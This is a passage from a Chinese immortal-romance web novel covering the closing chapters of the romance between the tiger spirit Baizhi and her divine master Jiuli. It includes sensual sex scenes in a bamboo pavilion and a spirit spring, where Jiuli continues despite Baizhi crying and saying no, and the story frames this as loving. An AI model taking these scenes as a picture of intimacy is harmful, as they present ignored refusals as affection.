明明没有多余的触碰,只是被这样直白地注视着,便比亲吻更令人战栗。 白芷忍不住咽了咽口水,睫毛慌乱地垂下。 又凶又娇,看着小虎兽躲闪的目光,九黎忽然觉得好笑。 “躲什么?”说话时,他的头微微抬起,鼻尖往前蹭了蹭她的。 鼻尖相抵,呼吸交错,心跳声乱七八糟地擂动着,白芷还是忍不住垂眸看着那近在咫尺的脸庞。 九黎毫不避讳,大大方方地仰着头,任她看清眼底的意乱和迷恋。 白芷素来迟钝,但此刻她清楚地从九黎的眼神里看出来,他很想亲她。 但她不懂,为什么还不亲呢? 某一刻,白芷舔了舔发干的嘴唇,她忽然意识到,比起唇舌交缠,这种近乎虔诚的对视才更令人头皮发麻。 ——仿佛灵魂都被这样灼热的目光融化蚕食,无处可逃。 但她才不要陪他玩这种忍耐的游戏。 放在眼前惹人心动的糖,怎么能忍住不吃呢? 白芷弯了弯眸,将全身紧绷的力气泄了下来,主动捧住九黎的脸。 在他略显错愕的目光中,主动吻了上去。 她从来就不是什么羞涩内敛的女子,喜欢就是喜欢,喜欢就要让他知道。 现在,她就是很想亲他。 这个吻生涩却热烈,带着独属于小虎兽特有的懵懂和恣意,先是缓慢地蹭着,再试探性地伸出舌尖,轻轻舔一口,品尝蜜糖一般,贪恋又舍不得一口吞下。 九黎的喘息声越来越沉,明明怀里的人只是轻轻地啄吻,无法呼吸的人却变成了他。 他微仰着头,眼睫垂下,享受小虎兽难得的亲近。 直到她胡乱学着他对她做过的事情。 ——她咬住他的下唇 一声压抑的猛哼后,九黎睁开眼睛。 “学得很好。” 他喑哑的嗓音里带着赞许,白芷却莫名觉得危险气息扑面而来。 当然,她的直觉向来很准。 还不待她开口,狂风暴雨般地吻便落了下来,将她那点可怜的主动权碾得粉碎。 第128章 第128章勾紧 竹林在清风中沙沙作响,茂密的叶片将整个亭子包裹在一 片翠绿中。 周围不知道什么时候被落下一层结界,清风轻轻摇曳,两道身影随着竹影晃动。 云雾浓厚,竹叶上的露珠屡屡被摇落,竹节发出细微的脆响,仿佛在同迅猛的风儿告饶。 若将凡间那一世也算上,白芷多少对男女之事算是有些经验。 她不明白为何平日明明很好说话的人,只要到了这事上,不管如何哭求,每每油盐不进,横冲直撞,不知餍足。 她的脚尖无处着力,只能紧紧地挂在男子身上。身后是冰冷的亭柱,堵住所有可退的间隙,每一声低呼急促而破碎。 九黎确实什么都听不去。 他几乎要控制不住自己,只是偶尔尝到咸咸的泪珠时,他的动作还是会下意识地轻柔下来,只是无论她如何恳求都不肯退开。 他不厌其烦地吻干她颊上的每一滴泪珠,仿佛珍宝一般,一寸一寸流连捻磨。 只是嘴上再温柔,也抚不下白芷愈发急促的哭咽。 斑驳的光影掠过她绯红的脸颊,白芷累得连手都快挂不住,纤细的腰肢即使被扣住也止不住往下塌。 而九黎虽软话哄着,掌心却握着她的腰用力往上一提,惹得白芷乍然惊呼一声,眼泪如同断了线的珠子一刹那串串滴落。 推不动身上的男子,白芷只能尝试迂回劝说,趁他气息转移到脖颈时,她喘息着劝道:“那个师尊的伤还没好,不能” “唔” 白芷猛地将指尖深深掐进男子肩头 他故意的。 九黎从胸前抬起头,又凑上来吻她。 温柔又霸道。 直到将人吻得气喘吁吁,他才辗转吻到她耳边,低哑地回应着她一开始的话,“这不是在疗伤么?” 白芷已经被搅得失魂荡魄,晃悠昏沉中听到他的解释,似懂非懂。 是了,她与师尊结契了。她隐约记得之前那术书上的确写了,双修之术,阴阳调和,水火既济,天地交而万物通。 双修的确能助疗伤愈。 但这也累人了。 白芷对时间的感知力已经迷糊,不知又过了多久,她认命般地将头耷在男子肩上,断断续续用破碎的声音问:“你还要多久?” 她已经坚持不住了 九黎初时并不理她,或者他根本就听不见,反而捏住她的脖颈将人扯过来亲。 终是把白芷缠得脾气上来,憋着气狠狠地咬了他一口,他才沙哑开口哄道:“很快。” 究竟有没有很快,白芷已经无从验证。再醒来的时候,她躺在九黎的膝上,眼前场景焕然一新,陌生的紧。 这是哪里? 耳边有水波声叮咚作响,水汽氤氲在眼前,连带眼前人的脸都变得迷蒙。 视线内的人正闭着眼,不知是睡着还是假寐,白芷盯着他瞧了一会,想起他在幽篁亭那些无休无止的纠缠,心下多了几分愤懑,把他的手从腰间搬开,自己支着手肘半起身。 目之所及皆是蒸腾的乳白色灵雾,雾气如有灵性一般,偶尔凝结成茴花形状,又倏然散开。 不远处的塘池里,水波轻触玉璧,淡淡茴花香气随着水波荡漾开 这不是茴灵泉么? 白芷原本还抿着唇,眼角眉梢还挂着几分对九黎先前孟浪之举的恼意,可当认出这眼泉水时,她瞳仁倏地亮了起来,漾起惊喜的波光。 从前倒是常来,后来在外面玩野了,久未来都忘了此处好地方了。 她站起身,看都不看身后的男子一眼,赤足沿着台阶一步步走进泉子里。 溅起的水花惊醒沉睡的泉灵,顿时有无数茴花形状的光点从泉底腾起,泉面星光浮动,将四周映得如梦似幻。 随着身子一步步深入泉水中,温热的水泉奔涌上来包裹住酸痛的腰肢,白芷舒服得眯起眼,像只餍足的小兽,眉眼都惬意舒展开。 茴灵泉由九重天外的星辰精华所化,从泉底蒸腾而上的茴花光点每在肌肤上回荡一次,精纯的日月星华便渡入体内一缕,顺经通脉素有神效,白芷原本还有些苍白的唇色以肉眼可见的速度恢复红润。 身子舒服了,闷气便也慢慢消散了。 玩了一会泉水,白芷遂转过身,看着不知何时已经睁开眼看着此处的九黎。 “师尊,快来。”她从水中抬起手,声音雀跃,湿漉漉的衣袖随着招手的动作滑到肘间,露出一截缀着水珠的莹白手臂。 白芷从不是扭捏的性子,自从认清心意以后,其实对九黎的亲近内心是欢喜的。 当然,超出忍耐范围以外的不算。 说话间,她掬起一捧泉水,任水流从指缝间如丝线滑落。 有几滴顽皮溅到她鼻尖,她也不恼,皱了皱鼻子笑开来。 听着女子不耐催促,九黎终于提起脚步走近。 他的目光从她走进泉水后,再没从她身上移开。 有时候他也惊奇,怎么会有一个人从长相,声音,性子,从外到里,每一寸都恰好长在他的心尖上。 他最是喜欢她身上这股毫不掩饰的恣意模样。 想什么都写在脸上,想做什么就做什么,有时大胆的都令他有些惊叹。 所以,他从未怀疑小虎兽对他突然转变的态度。 她本就该喜欢他,只是迟早的问题。 催促完九黎之后,白芷寻了处舒适位置,靠着池壁坐下。 她将头躺在泉壁上,眼睛也闭上了,自在任泉水将她包裹住。 几缕发丝黏在她被沾湿的脸颊上,为她添了几分娇憨。 九黎看着她,眼神翻涌着与清冷外表截然不同的柔软笑意。 他走近,伸手将要将人拉进怀里时,不料小虎兽虽闭着眼,却天生灵敏,身子往后一缩,从他腋下钻了出去,如同一尾小鱼,瞬间游到另一侧的池壁上。 青丝瞬间如瀑散开,在水面铺成一片墨色的云。待她钻出水面,湿透的青丝便黏在雪白修长的脖颈上,发梢垂落水滴。 她歪头朝他笑,示威一般,嘲笑他的笨拙。 居然从九黎手里溜出来,站定之后,白芷止不住得意笑出声。 她的眼尾被热气蒸出淡淡的胭脂色,湿透的纱衣彻底贴在身上,勾勒出惊心动魄的曲线。偏偏她自己还毫无察觉,随意地胸前的长发往后一撩,下颌处的水珠便顺着锁骨滑入刺眼的莹白中。 见到这个场景的九黎瞳孔骤然紧缩,那颗沿着她肌肤滚落的水滴,仿佛径直坠入他心尖某处。 他向来平静克制的目光此刻灼灼锁在女子身上,从她湿漉漉的眼睫,到沾着晶莹水滴的脸颊,唇瓣,再到泉水下若隐若现的腰线 本来真的只是带她来疗愈放松的。 “过来”九黎的嗓音已经没有那般清透,只是怕吓到眼前还懵懂挑衅的小虎兽,他的表情还算平静。 许是身子被泡得舒爽熨帖,精神便松懈了,又或许本能被九黎清淡的脸色蒙蔽了,白芷完全没有察觉到危险临近。 “才不。”她抿着嘴笑,两个小梨涡浅浅挂在脸颊上。 甚至,她故意用足尖挑起水花溅向来人 虽然脚还有些酸软,但准头居然还是有的,那水花精准地泼向那张圣洁出尘的面颊上。 晶莹的水滴顺着他高挺的鼻梁滑下,悬在唇边,让万年不变清冷肃穆的脸上染上一丝别样的生动。 两人同时怔住。 白芷确实没想到她居然还这么宝刀未老,随便挑起的水花都能砸中师尊的脸。 看着九黎素来淡漠的眸子闪过一丝错愕,那几滴欲坠不坠的水滴衬得他多了几分罕见的狼狈,白芷忍不住想笑,却又隐隐觉得不该笑。 “我错了。”看着那渐渐走近的高大身影,白芷瞬间认怂。 只是她嘴上乖乖道歉,眼睛却骨碌碌地转着,在寻最快逃开的路径。 “师尊,我不敢了。” …… 雾气朦胧,灵泉之上,清冷的神光不知何时炽烈起来,将整片灵泉笼在旖旎的金光下。 “自己过来。”像是下最后通牒,九黎的声音低哑得可怕。 白芷这会终于觉察自己玩过头,身子比脑子反应更快,一个眨眼,她忽然潜入水下,双脚往后一蹬,往九黎身侧灵巧逃脱。 只是,在绝对的力量面前,任你有再高超的手段都没有用。 白芷没有想到九黎会不讲武德,竟然直接用灵力圈住她即将上岸的脚腕。 脚腕被灵力化作的金环一扯,白芷重新没入水泉里。 泉底茴花纹猛地绽放开来,泉面上震出璀璨的涟漪。 白 芷在短暂的惊慌中被人随手一捞,反应过来之际,她已经被抵在温润的泉石上,呼吸再次被吞没。 她的脚踩不到泉底,身子被水波推动,无处着力,只能下意识抓紧身上人的手臂。 九黎耐心早已告罄,将人扣进怀里后,舌尖立马顶开女子的唇齿。 铺天盖地的松木气息将感官完全湮没,白芷的思绪在急切的亲吻中变得混乱起来。 水珠沾满指尖,根本抓不住男子坚硬的手臂,只能转而抓住衣襟勉强稳住身子。 她的后颈被托住他的掌心里,使她不得不抬头迎合着愈发深入的亲吻。 直到耳根连着脚尖一阵蜷缩发麻,在水中踮着的脚一软,她整个人便被九黎彻底揉在怀中。 青丝在水中荡漾,听到衣衫被扯碎的声音之时,白芷眼底的湿雾才化开了些。 “别”她伸手抵在男子胸膛处,脸颊侧过,试图躲过男子灼热的气息。 九黎的手指垫在白芷耳后,护着以免得她磕到泉石上。于是,女子偏头无果,细碎的呜咽抗议声尽数被吞进喘息中。 直到两人在淡薄的空气中急促喘息,九黎才终于退开。他双手在女子腰间一握,将人托到泉石上坐着,让她双手正好搭在他肩上,而后,他的吻继续往下 白芷在三界走得多,看的东西也多,性子算是百无禁忌,但这样的姿势仍让她羞的连同脚背都拱了起来。 她瓷白色的脖颈难受地往后仰,拉出一道完美的弧线,眼底晶亮的泪花在发抖中掉落泉水。她伸手去推那始作俑者,声音带着哭腔,“不要…” 可始作俑者并不理她,她只好抬脚踩在他胸前借力,微微抬起腰将他的脸捧上来。 嘴角有几丝银光掠过,白芷瞳孔仿佛被灼到一般,心跳无法自控到仿佛要跃出嗓子眼。 而被捧着脸的九黎,素来泠冽的眼神早已蒙上一层浓稠的雾气,像是已经失了理智。他仅凭本能仰头贴近女子的嘴角,压着她的后颈安抚性地在她唇上亲了亲。 可这样的亲近根本不够。 见灼烫气息又有往下的趋势,白芷心里一紧,赶紧伸手环上他的脖颈,将人又带上来,再次将唇送了上去。 然无论怎么做,都只是顾此失彼。 在她被吻的晕晕沉沉之际,耳边忽地掠过一声低低的笑声。 “勾紧。”他说。【你现在阅读的是 】 第129章 正文完 第129章 正文完你在哪我就在哪。 白芷于修炼上从来没有这般勤奋过,几乎次次从床上醒来时无不腰酸腿软。 当然,修为的确进益飞快,尤其是在茴灵泉被九黎哄着迷迷糊糊打开灵府辅助双修之后,那灵府震颤带来的绝顶五感几乎让她当场昏厥。 在金与蓝的光痕交织中,每一寸抚触都带起细密的灵纹。她无意识地沉浸在这种灵与魂的极致融合,以致于没有发现,在九黎骤然收紧她腰上手臂时,灵府深处的最后一道屏障也被冲破。 在咬着他肩膀终于呜咽出声时,九黎眉间的神纹因情动而泛起赤金色的流光。——那是白芷元神的底色。 九黎的神元之力太过强势,如同巍峨山巅雪,渗透她灵府的同时,涌入她的每一处窍穴。 好在他始终收敛着,耐心引领着她的元神与他的契合交融。 在最隐秘处,她的灵根被以最温柔也最霸道的方式缠绕,源源不断的神力滋养着她的身心,如同枯藤攀附神木,每一寸贴合都带来战栗般的欢愉。 灵府交融处,两人的神识早已不分彼此。 当然,这种蕴载着无边神明之力的欢愉,不是一般人能承受的。 或者说,不是一般人能时时承受的。 白芷便承受不住。 于是乎,在某个天朗气清的日子,白芷醒来时惊喜发现殿中只余她一人时,她匆忙起身,蹑手蹑脚推开栀居殿的大门,连包袱都来不及收拾,一个意念直接落在九重天门口。 那时她脑海里只余一个想法:再同师尊“修炼”下去,她真的要不行了。 自从彼此在灵府内落下结印后,每次只要与九黎在一起,不知为何,即便只是一个普通的亲吻,都能唤醒彼此的灵息。 又因为神识交融过,所以总能在第一时间感知对方最真实的感受。 因为太过清晰地感知到那种即将山崩般压抑的渴望,以致于每次被折腾到几近昏厥时,她发现那渴望不减反增,还蓄势待发 累了。 真的累了。 她要躲起来好好休养一段时间。 到达九重天门时,碧空如洗,天际仿佛用琉璃细细打磨过,云朵也柔软得仿佛新摘的棉絮。白芷仰起头,感受着洒在脸上不燥不烈的日光,连拂过耳边的清风都带着自由的香气。 这样好的天气,最是适合探亲访友。 她循着清风吹过来的方向回头望了一眼,远处凌霄殿浸在澄澈柔和的金光下。 她脑海里忽然闪过一个念头:若师尊回到殿内看不到自己时,会是什么神情? 她从前总觉得自己很了解九黎,如同寂灭之地的一陂雪,圣洁却少了些烟火气。但这阵子两人几乎形影不离的相处之后,她又不那么确定了 要不还是同他说一声再走? 其实,除了那事上他向来不太肯听她的意见,其他事情几乎可以说是予取予求的。 连她随口一句想在屋内闻到花梨的香气,之后每次醒来,床边总会放一束花梨。 今日她醒得早,床头还没看到花。 所以师尊大抵又去帮自己摘花了 思及此,白芷眸中不由得漾起蜜糖色的光。 再想想,其实近来这般没有节制,也有她之前一直催着师尊把残留在她元神内的魂魄抽走的缘故 想到这里,白芷愈发觉得自己不告而别的行径十分不妥。于是,她脚步踟蹰了一下。 只是还不待她回头,身后突然传来一声清泠淡漠的声音。 “白芷。” “” 白芷转过身后呆愣半晌,不是因为惊吓,而是她忽然发现,师尊原来这样好看吗? 乌发玉簪,素白长衫在日光下泛着淡淡冷光,集天地隽秀的面庞上,一双浅色的双眸似含着冰霜,看人时天然带着几分神威莫测的凛然。 顶着女子怔怔的目光,九黎一步步走近,直至女子跟前。 他脸上并无怒气,只是伸手抚了抚女子的脸颊,见她气色颇好,把手里的一捧花梨放到她手里。 接过花后,白芷心里愈发心虚,呵呵干笑了两声。 见九黎什么都没问,好像真的只是来送束花就回去,她愣了愣,等人已经往前走了几步她才小跑着跟了上去。 九黎没有使用灵力,但白芷也跑了小一段路才追上他。 虽然师尊什么都没说,但白芷猜他一定知道自己要偷跑。 不告而别终是她的错,她硬着头皮扯住九黎的衣袖,“师尊” 她如今胆子大,轻车熟路将手钻进九黎的袖子里,扣住里面那微凉的手掌后,试图解释,“我就是有些累” “那个,之前我跟你说过的,朱雀与我许久未见,我很想她,正好这阵子得空,我便想去看看她” “你刚刚不在,所以” 近来师尊魂魄几乎抽取完整,她的元神在他神力的滋养下也越来越稳定饱满,短暂懈怠几日修炼无伤大雅但白芷声音还是越说越低,最后那声“对不起”更是几乎含在嘴里。 九黎神情淡淡地听着她讲,看不清喜怒。 直到白芷听不到回应抬起头来看他,他才伸手轻轻揽过她的细腰。 见他微微垂首,白芷心里一松,忙主动伸手环上他的脖子,乖巧地在他唇上印了印。 这是她近来总结出来的经验,一般这样做,师尊身上总会多几分愉悦气息 但毕竟现在是在外面,印完后,她不免又有些紧张地左右看了看。 好在九重天向来人烟稀少,这里离天门也有些距离,倒是不怕别人看见。 很明显,这样的安抚还不够,师尊的脸色很是很清淡。 白芷只好又踮起脚,再凑上去在他嘴角处亲了亲。 可亲着亲着,慢慢地好像有些变了味 师尊终于有了反应,他抬手箍住她的脖颈,将她亲得连连后退,直到背后抵在一处天柱上 白芷忽然有些后悔自己太轻举妄动了。 一吻完毕后,白芷已经气喘不止,她靠在九黎的肩上大口地喘着气,而男子身上的清冷气息也终于微微缓和下 来。 九黎轻抚着怀中人的背脊,充沛的灵力从他指尖溢出,慢慢渗进女子的身体里。 他的声音带了丝不显见的哑意,问:“你很想她?” 白芷在他肩上摇了摇头,伸出一只手制止他输出灵力的动作。 这阵子频繁地与他修炼之后,她的身子早就不似刚回九重天那般虚弱了。但每次只要她略显疲乏之态,师尊总会毫不吝啬地将他的灵力渡给她 这动不动渡灵力的习惯可不好,虽然师尊是天生神明,但神力也不是凭空得来,况且,他之前重伤也还未痊愈 待九黎顺从地把手放下,白芷才点头。 万年不见,她是很想朱雀。不过让她更着急去见她的缘故,是昨日朱雀在留音玉中告诉她,她大抵要做母亲了。 这样的大喜事,她当然要当面去恭贺她而且,她这阵子确实有些害怕单独与师尊呆在一起,想着短暂分开一会或许是好事 当然,后面这个理由她可不敢说。 小虎兽有很多朋友,九黎一直都知道。 他松开怀里的女子,待她站稳后,轻轻抚了抚她异常红润的唇瓣,将她掉落在颊边的碎发撇到耳后便收回手。 “去吧。” “早些回来。” 如果可以,不要像之前那般,常常让他一等就是几十个年月 明明九黎的神情很是温和,语气也很和缓,是真心让她走的。但白芷不知怎么地,听到这句“早些回来”后,她心里忽然就不好受了。 这句话很熟悉,并不是第一次从师尊口中听到。 她不由得在心里细细回想,从前每次从九重天离开,师尊是不是每次都会嘱咐她“早些回来”? 是的,只是每次他好似只是随口一说,所以她从未把这句嘱咐放在心上。 现在想想,真的只是随口一说吗? 她随手在兰因殿翻开的一本书,无论离开多久,回来后总是还在原来的位置上 临云水榭后的那一大片长势喜人的花梨林 她随手养的那株子时花他都帮她细致照料着 别人毕生都难见上一面的人,她似乎只要回头就能见到 好像千万年来一直忽略的东西终于浮出水面,白芷心里像被针扎了一般,密密麻麻的酸胀刺痛。 眼眶有些热,她抿了抿唇强压住那热意,往前一步揽紧九黎腰间。 九黎并不知道哪句话惹得小虎兽突然情绪低落。 他追过来只是想把花给她,从未想过阻止她离开。 他知道,他寡言安静惯了,小虎兽喜欢热闹,在他身边大抵是呆不住的。 没有关系,她想去哪里都可以。 只要她回头,他都会在。 “怎么了?”他伸手将怀里的人搂紧了些,清泠的声音哄起人来异常好听,“不高兴了?” 忽然感受到胸前一片湿润,九黎脸上僵了僵,那双常年结着寒霜的眸子罕见地闪过一丝慌乱。 他在心里暗叹了一口气,他不该追过来的, 听见小虎兽轻轻的哭泣声,九黎下意识地想将人搂紧,又生生顿住,像是怕揉碎什么珍宝。 “你想去哪里我都不拦着,好吗?”他生涩地拍着女子的背,承诺道:“去多久都可以。” 不催她回来了。 听着男子口不对心的话,白芷的泪珠越发汹涌。 她用力推开九黎,抬眸时眼泪还挂在睫毛上,即可怜又可爱。 “真的去多久都可以?”凶呼呼的问。 见九黎果真点头,白芷继续红着眼睛问他,“不回来也可以?” 白芷泪珠簌簌滚落,脸颊哭得绯红,九黎被她推得后退半步,再凑近想拉她的时候又被她后退躲开,他只好停在原地。 两人无声地对峙一会,九黎终是敛了敛眸,开了口。 “不可以。” 不回来的话,就算她哭,也不可以。 听到九黎的回答,白芷原本还垂着头抽抽搭搭流着眼泪的脸蛋终于仰起来。 她的睫毛还湿漉漉,嘴角却止不住翘起来,又哭又笑,抽噎着主动去揪九黎的衣袖。 这事不能怪她,她从前又不知道他喜欢她,也不知道他一直在等她。 九黎不明白小姑娘为何又哭又笑,只是看到她哭,他的心便像被一只无形的手攥住,连呼吸都变得滞涩。 那双能洞悉天道的眼睛却看不透小姑娘喜怒的缘由,他只能伸手替她拭干脸颊的眼泪,再将人轻轻搂进怀里。 “你早点说嘛。”白芷吸着鼻子埋怨嘟囔道,“谁知道你那么早就对我动心” 意识到小虎兽不是生气,更像是在心疼他,九黎清冷的瞳孔中闪过一抹晦色。他微凉唇瓣轻轻落在女子头顶上,心里松软得不像话。 “嗯。”他应道。 天地浩渺,脚底云海如雪浪绵延至无边尽头,偶尔有几缕流云掠过,便如轻纱般缠绕在他们的衣袂之间,又悄然散去。 两人无声地抱了许久。 白芷的哭咽声不知什么时候已经停下,她乖巧地窝在九黎怀里,微微阖着双眸,专心聆听耳畔间跳动的心跳声,唇角始终漾着恬淡舒适的笑意。 抱着抱着,她偷偷将掌心贴在男子腰侧。 隔着庄圣的雪色长袍也能触到紧实的线条 这种僭越又大胆的小动作让她止不住耳尖发烫,心猿意马的同时不由得在心里深深反省。 说到底每次修炼那么累也不能全怪师尊,她哭狠的时候师尊也会放过她,即使她看得出来他很难受,但他还是会拥着她什么都不再做,安静地帮她舒缓每处不适 只是她自己定力不足,有时看着师尊越看越着迷,忍不住亲他一下…… 亲着亲着,就又被…… 哎…… 白芷脑子里随便放空着,手却不经意又往他腰间挪了半寸。 如愿被九黎更深地按向怀里时,白芷嘴角忍不住弯起,像只晒饱了日光的小兽,连发梢都透露着懒洋的笑意。 不知想到什么,她在九黎怀里蹭了蹭,寻了个舒适的位置仰起脸。 “师尊抱太紧了,我都喘不上气了。”虽说着埋怨的话,女子眼角却微微弯起,更甚者,说完后她故意将九黎拥得更紧。 九黎浅色的眼眸泛起一抹极浅的金芒,他低头亲了亲那泛着笑意的眼角,纵容怀里小虎兽所有的不满和亲近。 相视了一会,见师尊忽然抬手轻轻拂开她鬓边乱发,眼神慢慢变成那种骇人的灼热,白芷忙将人抵开,“该走了。” 没想到能如此轻巧挣脱出来,白芷眼眸里有淡淡的讶意。 还以为 九黎眸里的旖旎虽未散尽,语调却已经像平日清淡,“嗯,去吧。” 哦?这么爽快? 不过,窥探到一些真相的白芷才舍不得让师尊偷偷伤心。 反正三界太平,仙帝如今争气得很,有昊阳仙君在旁辅政,二人把各界关系顺得井井有条。 师尊大可以真正放手了。 白芷往前一步,主动扣上九黎的手指,神色认真,试探性地提议:“要不,师尊陪我一起吧?” 这是她第一次开口询问九黎是否愿意进入她的世界。 完全地进入。 不再是她单方面偏见地认为他不愿意。 仿佛平静的湖面被春风拂起涟漪,闻言,九黎的眼尾微微弯起,像是冰封的湖面裂开一道细缝。 “去哪?” “我去哪你就去哪。” 你在哪我就在哪。 ——正文完。【你现在阅读的是 】